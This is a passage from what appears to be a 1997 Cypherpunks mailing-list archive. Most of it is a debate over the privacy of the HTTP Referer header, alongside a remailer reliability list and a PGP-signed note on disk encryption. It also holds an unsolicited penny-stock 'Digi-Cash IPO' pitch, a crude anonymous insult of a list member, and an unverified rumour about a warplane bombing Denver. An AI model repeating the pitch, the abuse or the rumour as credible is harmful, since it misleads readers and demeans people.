Capt. Button Learned to Stop Worrying and Love the Bomb In-Reply-To: <199704140306.UAA02271@fat.doobie.com> Message-ID: <199704140504.AAA10454@manifold.algebra.com> Huge Cajones Remailer wrote: > The story thus far: > An United States A-10 warplane on a live bombing run breaks formation > and spends the next hour flying toward Colorado. > Just short of Vail, it changes course, headed toward Denver, and then > shortly thereafter changes direction, heading south, only to reverse > its course, and once again head toward Denver/Vail. The pilot could have been searching for The Right Reverend Colin James III, living near Denver. > TruthMonger > http://cnn.com > > -- > Toto > "The Xenix Chainsaw Massacre" > http://bureau42.base.org/public/xenix/xenbody.html > - Igor. From toto at sk.sympatico.ca Sun Apr 13 22:13:01 1997 From: toto at sk.sympatico.ca (Toto) Date: Sun, 13 Apr 1997 22:13:01 -0700 (PDT) Subject: Bombing Denver? / Or: How Capt. Button Learned to Stop Worrying and Love the Bomb In-Reply-To: Message-ID: <3351BDB6.1FFE@sk.sympatico.ca> Timothy C. May wrote: > The A-10 is believed by Reliable Sources to have been on its way to bomb > the Federal Building, while the McVeigh trial was starting, in Denver. > > (I'm on some strange lists and can't vouch for this revelation.) Which begs the question, "Would those lists be strange if you 'weren't' on them?" (Sorry, I couldn't help myself...) -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html From tomw at netscape.com Sun Apr 13 22:13:34 1997 From: tomw at netscape.com (Tom Weinstein) Date: Sun, 13 Apr 1997 22:13:34 -0700 (PDT) Subject: SSL weakness affecting links from pa In-Reply-To: <3.0.1.32.19970411230142.00643490@popd.ix.netcom.com> Message-ID: <3351BCD2.218886E6@netscape.com> Bill Stewart wrote: > > Thanks for the pointer to MS's security site; there's a lot of > good information there. > > I was highly unimpressed with Microsoft's Response: > "It's Not A Security Flaw" > "But Everybody Important Works Around It" > "And we're fixing it in the next release" > without providing much detail about what's going on. > It does indicate what to look into to avoid it when writing web pages, > but it doesn't say how to avoid it when entering your credit card > number into a web page, or what to look for as a non-programmer user. I basically agree with Microsoft. It works as specified, and everyone should know that handling sensitive form posts via GET is a bad idea. That said, there is certainly some merit to the argument that HTTP's "Referer:" is a privacy violation. Therefore, we've added a preference to Communicator that allows you to turn it off. Because of the late date there will be no UI, but if you are concerned about it, you can go into your prefs.js file (preferences.js on unix) and turn it off by adding the line: user_pref("network.sendRefererHeader", false); This will be available starting in beta 4. -- You should only break rules of style if you can | Tom Weinstein coherently explain what you gain by so doing. | tomw at netscape.com From toto at sk.sympatico.ca Sun Apr 13 22:17:11 1997 From: toto at sk.sympatico.ca (Toto) Date: Sun, 13 Apr 1997 22:17:11 -0700 (PDT) Subject: Bombing Denver? / Or: How Capt. Button Learned to Stop Worrying and Love the Bomb In-Reply-To: <199704140504.AAA10454@manifold.algebra.com> Message-ID: <3351BEBC.2310@sk.sympatico.ca> Igor Chudov @ home wrote: > > Huge Cajones Remailer wrote: > > The story thus far: > > An United States A-10 warplane on a live bombing run breaks formation > > and spends the next hour flying toward Colorado. > > Just short of Vail, it changes course, headed toward Denver, and then > > shortly thereafter changes direction, heading south, only to reverse > > its course, and once again head toward Denver/Vail. > > The pilot could have been searching for The Right Reverend Colin James > III, living near Denver. Igor, Are you suggesting that there 'is' a God? -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html From real at freenet.edmonton.ab.ca Sun Apr 13 23:09:50 1997 From: real at freenet.edmonton.ab.ca (Graham-John Bullers) Date: Sun, 13 Apr 1997 23:09:50 -0700 (PDT) Subject: your mail In-Reply-To: <199704140031.RAA12600@sirius.infonex.com> Message-ID: I think Vulis needs each of us to send ten copies of this back to him. On Sun, 13 Apr 1997, Mix wrote: > Tim `C' Mayonnaise's obsessive masturbation has lead to advanced degree of > blindness and hairy palms. > > ||||||||||| > \~0/ \0~/ > < (0) > > --oOO--/|||\--OOo- Tim `C' Mayonnaise > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Graham-John Bullers Moderator of alt.2600.moderated ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http://www.freenet.edmonton.ab.ca/~real/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From toto at sk.sympatico.ca Sun Apr 13 23:19:45 1997 From: toto at sk.sympatico.ca (Toto) Date: Sun, 13 Apr 1997 23:19:45 -0700 (PDT) Subject: anonymous credit In-Reply-To: <199704140455.VAA03115@crypt.hfinney.com> Message-ID: <3351CD43.5BB3@sk.sympatico.ca> Hal Finney wrote: > > Here is a simpler example of Wei's anonymous credit idea. We can call it > the "borrowing cryptographers". Hal, I have been following this thread with interest (no pun intended), and have had the foresight to not add to ideas that go beyond my own ability to follow. (I have to read your posts several times to even begin to grasp some of them.) I am wondering what other concrete examples you might be able to add to the one in this post which might point to an actual funtional implementation of the ideas you have been promulgating. Many of the CypherPunks discussions involve largely theoretical concepts which need much development to be practical, but it seems to me that in this post you are approaching a level where what you are discussing might actually be feasibly introduced in various microcosmic situations. Being a Canadian, and therefore semi-socialist by nature, I am thinking along the lines of Credit Union applicability of your ideas. Credit Unions often take the form of small groups of individuals or companies with common aims and/or backgrounds/interests. The basic idea behind many Credit Unions is that they are more prone to lend money to individuals or institutions which are promoting ideas which can be profitable, but which the average banker or loan agency would not understand sufficiently to advance money on. For example, having an interest in the issues you are discussing, I might be ameniable to getting involved in an effort to fund the development of the 'Hal-Wei Anonymous Credit' program. The advantage of a Credit Union setup is that I know that it is run with an eye to realistic chances of success being considered, but also will take into account efforts that should be funded which may have only a marginal chance of financial success, but will further the general cause of those things I am interested in. Truly there are a rising number of issues today which might benefit from the ability to participate anonymously in the funding of causes in which one has an interest. While AP is one of the more startling and newsworthy (?) aspects of anonymous lottery/credit systems, there are a multitude of minor causes which might benefit from the ability to engage in an anonymous credit system, as well. A simple example might be those who wish to financially back a legal challenge of their health-care system, without risking being denied benefits as a result of their participation. I think that some of the CypherPunks' contributions to computer technology go largely unrecognized because of the fact that they aide those who do not wish to draw attention to themselves, for the most part. There isn't a week that goes by without my receiving an email from someone who thanks me for the benefit they have gained by my introducing them to encryption or anonymous remailers, yet I doubt that many of them give the same feedback to those who provide those services. Remailer operaters seem to mostly receive shit and abuse for feedback, as a result of their efforts, yet I know from experience that there are many to whom their services have been a blessing. -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html From toto at sk.sympatico.ca Sun Apr 13 23:21:20 1997 From: toto at sk.sympatico.ca (Toto) Date: Sun, 13 Apr 1997 23:21:20 -0700 (PDT) Subject: SSL weakness affecting links from pa In-Reply-To: <3.0.1.32.19970411230142.00643490@popd.ix.netcom.com> Message-ID: <3351C568.4B7@sk.sympatico.ca> Tom Weinstein wrote: > Bill Stewart wrote: > > Thanks for the pointer to MS's security site; there's a lot of > > good information there. > > > > I was highly unimpressed with Microsoft's Response: > > "It's Not A Security Flaw" > > "But Everybody Important Works Around It" > > "And we're fixing it in the next release" > > without providing much detail about what's going on. > > It does indicate what to look into to avoid it when writing web pages, > > but it doesn't say how to avoid it when entering your credit card > > number into a web page, or what to look for as a non-programmer user. > > I basically agree with Microsoft. It works as specified, and everyone > should know that handling sensitive form posts via GET is a bad idea. > > That said, there is certainly some merit to the argument that HTTP's > "Referer:" is a privacy violation. Therefore, we've added a preference > to Communicator that allows you to turn it off. Because of the late > date there will be no UI, but if you are concerned about it, you can go > into your prefs.js file (preferences.js on unix) and turn it off by > adding the line: Nothing personal, but this is horseshit. I'm getting mighty tired of vendors claiming that the average user is not getting hornswaggled by the new technology because they have the option of becoming the world's foremost computer expert and disable all of the bullshit that is foisted upon them. I have yet to see an advertisement for a product that states that the users, upon giving the vendor a pile of cash, will have a stick shoved up their butt, but will also be able to remove it if they quit their job and devote the rest of their life to figure out how to disable intrusive computer mechanisms which intrude on their lives and their privacy in a multitude of ways. Let's get real, here. Corporations add capabilities to their programs that allow themselves and other 'major players' to have their way with the user. When Joe Average, or a hacker/spammer takes advantage of the same capability, then the vendors claim it is a 'bug', or that they can't be blamed for the 'bad guys' use of this built-in function. Major News Flash!!! If it is 'abuse' when I use it, then it is 'abuse' when the vendors who programmed it that way use it, as well. I am awaiting the day when corporations and government finally resolve their differences and announce 'Cookie-Key Escrow'. I don't mind vendors implementing whatever schemes they choose, I only resent their making the process obtuse and revealing what they are doing only when getting 'caught' doing things in the background that the average user might object to. Of course, I realize that I am being afforded the opportunity to protect myself from unwanted intrusions by adding a "Fuck You" line to my config.sys file, as long as I put it in front of the second device file pointer which begins with the letter 'c', unless it has more than two vowels in the line, in which case I have to put my left foot behind my right ear and lick my balls twice. The bottom line? Why do I have to perform esoteric manipulations to my system to defend myself from people I give money to in order to be able to use that system? It sounds suspiciously like the protection rackets, to me. -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html From tomw at netscape.com Mon Apr 14 02:04:06 1997 From: tomw at netscape.com (Tom Weinstein) Date: Mon, 14 Apr 1997 02:04:06 -0700 (PDT) Subject: SSL weakness affecting links from pa In-Reply-To: <3.0.1.32.19970411230142.00643490@popd.ix.netcom.com> Message-ID: <3351F2DF.7DC26A1A@netscape.com> Toto wrote: > > [ long rant deleted ] I'm just going to reply to what I think it the real substance of your argument. If I got the wrong piece, I'm sure you'll tell me. > Let's get real, here. Corporations add capabilities to their programs > that allow themselves and other 'major players' to have their way with > the user. > When Joe Average, or a hacker/spammer takes advantage of the same > capability, then the vendors claim it is a 'bug', or that they can't > be blamed for the 'bad guys' use of this built-in function. This particular feature (the HTTP referer header) has nothing to do with corporations "having their way" with users. It was created so that web authors could put "back" buttons on their pages. The security problem arises when stupid CGI authors use GET forms to transfer sensitive information. This is a security hole in the web site, not in the browser. The browser follows the HTTP specification. If you have a problem with that, contact the author of that specification. Or, better yet, contact the web site (as far as I know, there are none) that has this security hole. The only "bad guys" are the web sites that you are giving your private information to. If you trust them enough to give them your information in the first place, shouldn't you trust them not to give it away by using a GET form? In the eyes of some, the referer header is a privacy violation. It allows a site to see what site you visited before coming there. In the case of Navigator, we ONLY send the referer header when you click on a link. Not when you select a bookmark. Not when you type a URL into the location field. This allows web sites to see who links to them. I think that's something that a web author is entitled to know. So, you think we're doing something bad. Why don't you tell me what you think we should do? -- You should only break rules of style if you can | Tom Weinstein coherently explain what you gain by so doing. | tomw at netscape.com From ceo at mitnet.com Mon Apr 14 04:30:35 1997 From: ceo at mitnet.com (chairman) Date: Mon, 14 Apr 1997 04:30:35 -0700 (PDT) Subject: Digi-Cash IPO! $1.60 per share Message-ID: <199704140619.CAA14764@ispam.net> Greetings: Our market research indicated that this information may very well be very interesting to you! As you may know, initial public stock offerings confer upon QUALIFIED INVESTORS huge profit potential opportunities, IF they understand risk. Millennium Interactive Technologies Corp., developer of the first ever advertiser funded system of digital cash is offering 625,000 common shares directly to the public at $1.60 per share, with a 625 share minimum. MITNET is an E-commerce startup which will offer Digital Cash and a FREE smart card to every user who retrieves advertising E-mail from its Internet web site. MITNET DCUs (Digital Currency Units) can be redeemed to pay for your on-line charges, Or converted instantly into the currency of any nation. MITNET ad-mail is the future of Internet advertising! OFFERING CAN ONLY BE MADE BY WAY OF PROSPECTUS QUALIFIED INVESTORS of full age can obtain a printed copy of this offering prospectus, demo software, and the website URL, by sending a reply with name, street address, and day or evening phone number. (please specify) =================================================== This is neither an offer to sell, nor the solicitation of an offer to buy any securities. =================================================== Dislike commercial e-mail? Let us put you on our master *DO-NOT-MAIL* list which we supply to 400+ bulk e-mail firms. Simply reply with the word remove anywhere in your message. =================================================== mailto:ceo at mitnet.com From raph at CS.Berkeley.EDU Mon Apr 14 06:50:39 1997 From: raph at CS.Berkeley.EDU (Raph Levien) Date: Mon, 14 Apr 1997 06:50:39 -0700 (PDT) Subject: List of reliable remailers Message-ID: <199704141350.GAA08343@kiwi.cs.berkeley.edu> I operate a remailer pinging service which collects detailed information about remailer features and reliability. To use it, just finger remailer-list at kiwi.cs.berkeley.edu There is also a Web version of the same information, plus lots of interesting links to remailer-related resources, at: http://www.cs.berkeley.edu/~raph/remailer-list.html This information is used by premail, a remailer chaining and PGP encrypting client for outgoing mail. For more information, see: http://www.c2.org/~raph/premail.html For the PGP public keys of the remailers, finger pgpkeys at kiwi.cs.berkeley.edu This is the current info: REMAILER LIST This is an automatically generated listing of remailers. The first part of the listing shows the remailers along with configuration options and special features for each of the remailers. The second part shows the 12-day history, and average latency and uptime for each remailer. You can also get this list by fingering remailer-list at kiwi.cs.berkeley.edu. $remailer{"extropia"} = " cpunk pgp special"; $remailer{"mix"} = " cpunk mix pgp hash latent cut ek ksub reord ?"; $remailer{"replay"} = " cpunk mix pgp hash latent cut post ek"; $remailer{"exon"} = " cpunk pgp hash latent cut ek"; $remailer{"haystack"} = " cpunk mix pgp hash latent cut ek"; $remailer{"lucifer"} = " cpunk mix pgp hash latent cut ek"; $remailer{"jam"} = " cpunk mix pgp hash middle latent cut ek"; $remailer{"winsock"} = " cpunk pgp pgponly hash cut ksub reord"; $remailer{'nym'} = ' newnym pgp'; $remailer{"balls"} = " cpunk pgp hash latent cut ek"; $remailer{"squirrel"} = " cpunk mix pgp pgponly hash latent cut ek"; $remailer{"middle"} = " cpunk mix pgp hash latent cut ek reord"; $remailer{'cyber'} = ' alpha pgp'; $remailer{"dustbin"} = " cpunk pgp hash latent cut ek mix reord middle"; $remailer{'weasel'} = ' newnym pgp'; $remailer{"reno"} = " cpunk mix pgp hash middle latent cut ek reord ?"; $remailer{"wazoo"} = " cpunk mix pgp hash latent cut ek"; $remailer{"shaman"} = " cpunk pgp hash latent cut ek"; $remailer{"hidden"} = " cpunk pgp hash latent cut"; catalyst at netcom.com is _not_ a remailer. lmccarth at ducie.cs.umass.edu is _not_ a remailer. usura at replay.com is _not_ a remailer. remailer at crynwr.com is _not_ a remailer. There is no remailer at relay.com. Groups of remailers sharing a machine or operator: (cyber mix) (weasel squirrel) The alpha and nymrod nymservers are down due to abuse. However, you can use the nym or weasel (newnym style) nymservers. The cyber nymserver is quite reliable for outgoing mail (which is what's measured here), but is exhibiting serious reliability problems for incoming mail. The squirrel and winsock remailers accept PGP encrypted mail only. 403 Permission denied errors have been caused by a flaky disk on the Berkeley WWW server. This seems to be fixed now. The penet remailer is closed. Last update: Mon 14 Apr 97 6:46:43 PDT remailer email address history latency uptime ----------------------------------------------------------------------- nym config at nym.alias.net #-+#***##*-# 1:20:48 99.99% hidden remailer at hidden.net *+.-###*#*## 33:34 99.97% lucifer lucifer at dhp.com +++++++*--++ 37:43 99.96% weasel config at weasel.owl.de ++-++---+-+ 2:26:15 99.94% winsock winsock at rigel.cyberpass.net -------+--- 3:02:13 99.88% balls remailer at huge.cajones.com * #######*## 1:25 99.87% reno middleman at cyberpass.net -___.--*+-** 8:53:42 99.72% dustbin dustman at athensnet.com ----- .+-+- 1:22:31 99.67% cyber alias at alias.cyberpass.net + ++ +*++** 32:39 99.66% replay remailer at replay.com -.-*-**** +* 48:24 99.59% mix mixmaster at remail.obscura.com -__.--++*-+ 13:31:30 99.54% squirrel mix at squirrel.owl.de -+-++- -+-+ 2:21:21 99.45% shaman remailer at lycaeum.org ++*+-++--+** 23:01 99.35% extropia remail at miron.vip.best.com _..---...- 22:24:15 97.51% exon remailer at remailer.nl.com *#* *__ * ## 3:49:43 95.05% jam remailer at cypherpunks.ca ** ** 8:26 26.45% History key * # response in less than 5 minutes. * * response in less than 1 hour. * + response in less than 4 hours. * - response in less than 24 hours. * . response in more than 1 day. * _ response came back too late (more than 2 days). cpunk A major class of remailers. Supports Request-Remailing-To: field. eric A variant of the cpunk style. Uses Anon-Send-To: instead. penet The third class of remailers (at least for right now). Uses X-Anon-To: in the header. pgp Remailer supports encryption with PGP. A period after the keyword means that the short name, rather than the full email address, should be used as the encryption key ID. hash Supports ## pasting, so anything can be put into the headers of outgoing messages. ksub Remailer always kills subject header, even in non-pgp mode. nsub Remailer always preserves subject header, even in pgp mode. latent Supports Matt Ghio's Latent-Time: option. cut Supports Matt Ghio's Cutmarks: option. post Post to Usenet using Post-To: or Anon-Post-To: header. ek Encrypt responses in reply blocks using Encrypt-Key: header. special Accepts only pgp encrypted messages. mix Can accept messages in Mixmaster format. reord Attempts to foil traffic analysis by reordering messages. Note: I'm relying on the word of the remailer operator here, and haven't verified the reord info myself. mon Remailer has been known to monitor contents of private email. filter Remailer has been known to filter messages based on content. If not listed in conjunction with mon, then only messages destined for public forums are subject to filtering. Raph Levien From AGRAPA at banamex.com Mon Apr 14 07:17:34 1997 From: AGRAPA at banamex.com (ARTURO GRAPA YSUNZA) Date: Mon, 14 Apr 1997 07:17:34 -0700 (PDT) Subject: SSL weakness affecting links from pa Message-ID: Tom Weinstein wrote: >This particular feature (the HTTP referer header) has nothing to do with >corporations "having their way" with users. It was created so that web >authors could put "back" buttons on their pages. The security problem >arises when stupid CGI authors use GET forms to transfer sensitive >information. This is a security hole in the web site, not in the >browser. The browser follows the HTTP specification. If you have a >problem with that, contact the author of that specification. Or, better >yet, contact the web site (as far as I know, there are none) that has >this security hole. Stupid programmers abound even in large corporations. Bugs, patches and security holes are now normal everyday things. I agree with Toto. Companies should take more responsability in the programs they produce. Especially nowadays when a lot of people without any computer background or insight into the dangers are accessing the Net. Why does Netscape (and microsoft) warn users about secure and insecure forms? So they can say "I told you so!" when you get screwed by someone. Same thing goes for the GET method. Whatever a "stupid CGI author" does has little bearing on the issue. It's like saying the tire fell off my car because the person who built the road to spec ("GET" is allowed) is to blame not the car maker. I should be warned about certain roads by the car maker. If "GET" is allowed but unsecure YOU should warn me! Admit it! It did not occur to your programmers to warn about access to "GET" forms like it occurred to them to warn about http references inside a https-accessed document. Now we have to live with it. And you say "stupid CGI authors". What if they did it on purpose? Are you going to say "then its stupid web users"? I'd really like to hear you say that in public! >In the eyes of some, the referer header is a privacy violation. It >allows a site to see what site you visited before coming there. In the >case of Navigator, we ONLY send the referer header when you click on a >link. Not when you select a bookmark. Not when you type a URL into the >location field. This allows web sites to see who links to them. I >think that's something that a web author is entitled to know. NO WAY! The web author is NOT entitled to know where I came from. So if you go to Sears the saleperson is entitled to know you came from JCPenney's? If so, then I am just as much entitled to not tell him or at least entitled to know that there's a sign on my back that says where I came from. How many web users are aware of the HTTP REFERRER header? Not many, especially if they have not read the specs or looked at the logs from a web server. As an adminsitrator I AM NOT ENTITLED to that info. >So, you think we're doing something bad. Why don't you tell me what >you think we should do? Accept responsibility? Ok, that's wishful thinking. How about not blaming others? How about warning your users? You didn't do it in this case. If you do then you can say "I told you so!" Art Grapa agrapa at banamex.com From camcc at abraxis.com Mon Apr 14 08:35:04 1997 From: camcc at abraxis.com (Alec) Date: Mon, 14 Apr 1997 08:35:04 -0700 (PDT) Subject: [PGP-USERS] SFS and PGP Message-ID: <3.0.1.32.19970414110356.007b3100@smtp1.abraxis.com> >From: "James A. Tunnicliffe" >To: "'pgp-users at rivertown.net'" >Cc: "'GWNapier at aol.com'" >Subject: RE: [PGP-USERS] SFS and PGP >Date: Mon, 14 Apr 1997 07:21:52 -0700 >-----BEGIN PGP SIGNED MESSAGE----- > >GWNapier at aol.com says: >> Lately I have heard a lot about SFS. The bits and pieces I heard >> about it said it integrated PGP into it. If anyone knows about where >> I can get more info about, I would appreciate it. If SFS has nothing >> to do with PGP and I have heard wrong, I give you my deepest >> apologies for bringing it up on this list. > >Peter Gutmann's SFS (Secure File System) is a highly regarded program >for encrypting entire disk partitions at the sector level. It's a >low-level device driver that encrypts your disk writes and decrypts >your disk reads transparently on the fly, so your disk is always in >an encrypted state. Apart from being a quality encryption product, >it has nothing to do with PGP, secure email, etc. It's for a whole >different (though very valuable) purpose... > >For more information, see: > http://www.cs.auckland.ac.nz/~pgut001/sfs.html > >Tunny >====================================================================== > James A. Tunnicliffe | WWWeb: http://www.inference.com/~tunny > Inference Corporation | PGP Fingerprint: CA 23 E2 F3 AC 2D 0C 77 > tunny at Inference.com | 36 07 D9 33 3D 32 53 9C >====================================================================== > >-----BEGIN PGP SIGNATURE----- >Version: 4.0 Business Edition >Comment: Achieving civil liberty through complex mathematics > >iQEVAgUBM1I+iPAmQsmyRPddAQGltAf/Vsn7Mj9dJyl8za4gOcK8s5CbetyqPc2Z >giqxUr63ghdOSPhDYkRbfvroS6GrfVbTF4Gdhx7aZ+8J5FF5YXF1I1iHELkAJxTm >AFoErAkZZHLUH5D2RddV0dXJQBPFa0O2h8kxL8V24ktUnGyi5UOwXPoub9vwAVnM >+x1fu8J6/z8PkOLHOe/BczAUCRtgzHFD9XZ0wVSXQgLKgIkftxF5gfO/x0UM9w17 >rdiAx4QzLotwmUKKhVUVAm2glcvkRa0Zs0JQv5QdtVOvNCPSJpcz90yFqUbKiPJp >R0SQhcAmJveJMNEUoetQ68s3eMdoe1U0nGJOVg0tK5rdZzEDxyXxPA== >=XKVJ >-----END PGP SIGNATURE----- > > From ericm at lne.com Mon Apr 14 09:17:53 1997 From: ericm at lne.com (Eric Murray) Date: Mon, 14 Apr 1997 09:17:53 -0700 (PDT) Subject: SSL weakness affecting links from pa In-Reply-To: Message-ID: <199704141616.JAA12659@slack.lne.com> ARTURO GRAPA YSUNZA writes: > > > Tom Weinstein wrote: > > >This particular feature (the HTTP referer header) has nothing to do with > >corporations "having their way" with users. It was created so that web > >authors could put "back" buttons on their pages. The security problem > >arises when stupid CGI authors use GET forms to transfer sensitive > >information. This is a security hole in the web site, not in the > >browser. The browser follows the HTTP specification. If you have a > >problem with that, contact the author of that specification. Or, better > >yet, contact the web site (as far as I know, there are none) that has > >this security hole. > > Stupid programmers abound even in large corporations. Bugs, patches and > security holes are now normal everyday things. I agree with Toto. > Companies should take more responsability in the programs they produce. No, specification authors should take more responsibility in the specs that they produce. The HTTP spec's use of GET is insecure. Specification writers should realize that people will follow their specs, and should be thinking of security and privacy issues as they are beig written. > >In the eyes of some, the referer header is a privacy violation. It > >allows a site to see what site you visited before coming there. In the > >case of Navigator, we ONLY send the referer header when you click on a > >link. Not when you select a bookmark. Not when you type a URL into the > >location field. This allows web sites to see who links to them. I > >think that's something that a web author is entitled to know. > > NO WAY! The web author is NOT entitled to know where I came from. So if > you go to Sears the saleperson is entitled to know you came from > JCPenney's? If so, then I am just as much entitled to not tell him or at > least entitled to know that there's a sign on my back that says where I > came from. How many web users are aware of the HTTP REFERRER header? Not > many, especially if they have not read the specs or looked at the logs > from a web server. As an adminsitrator I AM NOT ENTITLED to that info. Why not? It's a useful tool to find out who has linked to you. On the other hand, it _is_ a privacy concern, and I don't want to send it to sites I visit. So I included an option blocking the Referrer tag in Cookie Jar, the cookie-blocking program I wrote. I'd like to think that writing it helped push Netscape into supporting better options for cookies (see rfc2109) and into adding this option for not sending Referrer but I'm sure there were many other louder calls for the same thing. > Accept responsibility? Ok, that's wishful thinking. How about not > blaming others? How about warning your users? You didn't do it in this > case. If you do then you can say "I told you so!" Users need to educate themselves. Even a fairly security and privacy concious company like Netscape still has exectutives who feel as though they have to answer to the bottom line and who will sacrifice consumer privacy to get there if they feel that the advantages outweigh the risks. Netscape has consistently led industry in realizing and fixing and admitting security holes and privacy issues, largely due to the effort of Jeff and the rest of their security group in educating upper management on those issues and making them realize their importance. However I am not willing to bet my privacy on Netscape's good will, as it could turn at any time. The way to real privacy is to educate oneself. Demanding companies to "fix it" is lame and ineffectual. You have the technology- fix it yourself! Distribute your code. Make the companies look bad. Educate the sheeple. But asking companies to look out for your privacy is a waste of time. -- Eric Murray ericm at lne.com Privacy though technology! Network security and encryption consulting. PGP keyid:E03F65E5 From unicorn at schloss.li Mon Apr 14 09:20:14 1997 From: unicorn at schloss.li (Black Unicorn) Date: Mon, 14 Apr 1997 09:20:14 -0700 (PDT) Subject: SSL weakness affecting links from pa In-Reply-To: <3351F2DF.7DC26A1A@netscape.com> Message-ID: On Mon, 14 Apr 1997, Tom Weinstein wrote: > In the eyes of some, the referer header is a privacy violation. It > allows a site to see what site you visited before coming there. In the > case of Navigator, we ONLY send the referer header when you click on a > link. Not when you select a bookmark. Not when you type a URL into the > location field. This allows web sites to see who links to them. I > think that's something that a web author is entitled to know. > > So, you think we're doing something bad. Why don't you tell me what > you think we should do? Thanks for the chance to address the issue. I think that perfectly reasonable "features" often can become "security flaws" or "privacy lapses" when the user is not aware of the potential danger. In this case I think much of the flak over the referer header is driven by the fact that no one really appreciated the danger until it was pointed out. This gives rise to the "My god! What have I been giving out all these months while accessing www.hotchicks.com?" panic. Of course the next step is anger. "Why the hell does do that? Why wasn't I told?" This melds into another software annoyance of mine. Sacrificing the needs of the user who knows what he is doing for the novice when both can be easily satisified. Of course the reverse is also true. Take, for example, Mr. Stewart's comment: >I basically agree with Microsoft. It works as specified, and everyone >should know that handling sensitive form posts via GET is a bad idea. Well, those of us who know what we are doing should know better but (and I'm not sure this is Mr. Weinstein's mission or concern) if you want to educate the public you need to assume the user does not know and create and option to streamline operation for the user who does. Having said the above, what I would like to see is an option to surpress the referer header explicitly like with cookies. "You are about to forward a referer header to the page you have selected. Forwarding the referer header to this site may reveal more about your web browsing habits than you would prefer. Should surpress the referer header? Yes/No/Always Surpress/Never Surpress." I might add that I would like an option on cookie supression to bypass that annoying dialog such to never allow cookies. It gets a bit much when a page askes for 9 cookies in a row and the only way to prevent them is to get beeped at repeatedly. Again, don't confuse the novice, don't slow down the expert. > -- > You should only break rules of style if you can | Tom Weinstein > coherently explain what you gain by so doing. | tomw at netscape.com -- Forward complaints to : European Association of Envelope Manufactures Finger for Public Key Gutenbergstrasse 21;Postfach;CH-3001;Bern Vote Monarchist Switzerland From gary at systemics.com Mon Apr 14 10:44:20 1997 From: gary at systemics.com (Gary Howland) Date: Mon, 14 Apr 1997 10:44:20 -0700 (PDT) Subject: SSL weakness affecting links from pa In-Reply-To: <3351F2DF.7DC26A1A@netscape.com> Message-ID: <199704141744.TAA05305@internal-mail.systemics.com> > This particular feature (the HTTP referer header) has nothing to do with > corporations "having their way" with users. It was created so that web > authors could put "back" buttons on their pages. The security problem > arises when stupid CGI authors use GET forms to transfer sensitive > information. This is a security hole in the web site, not in the > browser. The browser follows the HTTP specification. If you have a > problem with that, contact the author of that specification. Or, better > yet, contact the web site (as far as I know, there are none) that has > this security hole. > > So, you think we're doing something bad. Why don't you tell me what > you think we should do? A couple of points. Firstly, I don't see a need for the referer header to "traverse" different domains. For example, if I have a local page called "dorks.html", with a link pointing to, say, David Sternlights home page, then he can deduce my opinion of him by looking at the referrer field. This puts an unnecessary burden on my local bookmark web pages - I can no longer give the pages reasonable names (such as "dorks.html"). Secondly, a back button should not be implemented using referer headers. If I have a back button on my page, I expect it to do what the Netscape back button does. However, this is not what happens - back buttons built into web pages create a long chain of "forward" links. (I'm probably not explaining myself too well here). What is really required is a special type of link that does exactly what the netscape back button does (and it would also be nice if I could put forward links in my pages too). Perhaps the latter objection is do-able in Javascript - it's been some time since I tried. Gary From toto at sk.sympatico.ca Mon Apr 14 11:19:31 1997 From: toto at sk.sympatico.ca (Toto) Date: Mon, 14 Apr 1997 11:19:31 -0700 (PDT) Subject: SSL weakness affecting links from pa In-Reply-To: <3.0.1.32.19970411230142.00643490@popd.ix.netcom.com> Message-ID: <335273AE.391E@sk.sympatico.ca> Tom Weinstein wrote: > Toto wrote: > > Let's get real, here. Corporations add capabilities to their programs > > that allow themselves and other 'major players' to have their way with > > the user. > > When Joe Average, or a hacker/spammer takes advantage of the same > > capability, then the vendors claim it is a 'bug', or that they can't > > be blamed for the 'bad guys' use of this built-in function. > > This is a security hole in the web site, not in the > browser. The browser follows the HTTP specification. If you have a > problem with that, contact the author of that specification. > > In the eyes of some, the referer header is a privacy violation. It > allows a site to see what site you visited before coming there. And the Netscape default is to violate the user's privacy. > This allows web sites to see who links to them. I > think that's something that a web author is entitled to know. Without notifying the user of your software that information they may want to keep private is being given out? I don't think so. Why do you not instead require the web author to 'ask for permission' to know where the user last visited? Is it because the user is just considered a pawn of business interests? > So, you think we're doing something bad. Why don't you tell me what > you think we should do? My personal opinion is that you should inform your users of how, when and why the use of your software does, or can, affect their privacy. And you should give them an option of installing your software with all privacy features set to 'on'. Give your users the option of not allowing their privacy to be silently intruded on with no notification. The 'Cookie' situation is a good example of placing corporate interests ahead of the interests of those who use a browser. The fact that the capacity to turn off cookie acceptance was added after people found out and complained about their privacy being violated is not something for companies to be proud of, no matter how much their PR department may claim they are championing privacy by adding these 'features'. I realize that the corporatization of the InterNet provides certain benefits to users, but the fact of the matter is, the cost of those benefits is being hidden from the users. I would just like to see a browser which informs the average user in what way their information is being used and shared, and gives them a way to protect themselves against intrusion into their private lives and dissemination of their personal information. Believe it or not, there may be users who stumble upon or are suckered into going to a 'Bestiality and Child Perversion' site who may not want to spread this information around. When I find out that a program's installation process has stuck a hidden corncob up my ass, I'm not going to write them a thank-you note if they later come up with a 'feature' to allow me to remove it. Please be advised that my email reply to you in no way indicates a desire for my name to be sold to a 'Bestiality' mailing list, despite whether or not this is part of some standard 'specification' hidden in Netscape's fine print. (Cheap shot? Moi?) I use Netscape, and I like the different technologies being developed that expand user's horizons. However, I would rather be told what the cost is to have all of these 'free' capabilities, and be given the option of bearing the burden of whatever increased costs may arise by my not wanting to open my life and interests to every operator of a roadside stand along the Information Highway. -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html From ericm at lne.com Mon Apr 14 